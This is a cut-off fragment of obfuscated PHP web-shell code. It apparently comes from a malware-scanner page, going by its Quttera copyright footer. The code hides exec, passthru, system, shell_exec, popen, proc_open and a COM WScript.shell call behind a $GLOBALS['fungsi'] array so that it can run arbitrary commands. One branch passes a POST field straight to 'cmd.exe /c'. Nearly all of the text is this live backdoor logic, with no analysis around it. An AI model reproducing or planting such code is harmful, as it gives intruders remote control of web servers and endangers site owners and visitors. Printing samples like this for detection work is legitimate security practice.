try {
if ($re) $in = $in . " 2>&1";
if (function_exists("exec")) {
@$GLOBALS['fungsi'][16]($in, $out);
$out = @join("\n", $out);
} elseif (function_exists("passthru")) {
ob_start();
@$GLOBALS['fungsi'][17]($in);
$out = ob_get_clean();
} elseif (function_exists("system")) {
ob_start();
@$GLOBALS['fungsi'][18]($in);
$out = ob_get_clean();
} elseif (function_exists("shell_exec")) {
$out = $GLOBALS['fungsi'][19]($in);
} elseif (function_exists("popen") && function_exists("pclose")) {
if (is_resource($f = @$GLOBALS['fungsi'][20]($in, "r"))) {
$out = "";
while (!@feof($f))
$out .= fread($f, 1024);
$GLOBALS['fungsi'][21]($f);
}
} elseif (function_exists("proc_open")) {
$pipes = array();
$process = @$GLOBALS['fungsi'][23]($in . ' 2>&1', array(array("pipe", "w"), array("pipe", "w"), array("pipe", "w")), $pipes, null);
$out = @$GLOBALS['fungsi'][22]($pipes[1]);
} elseif (class_exists('COM')) {
$alfaWs = new COM('WScript.shell');
$e = $alfaWs->$GLOBALS['fungsi'][16]('cmd.exe /c ' . $_POST['alfa1']);
$stdout = $e->StdOut();
$out = $stdout->ReadAll();
}
} catch (Exception $e)
© 2023 Quttera Ltd. All rights reserved.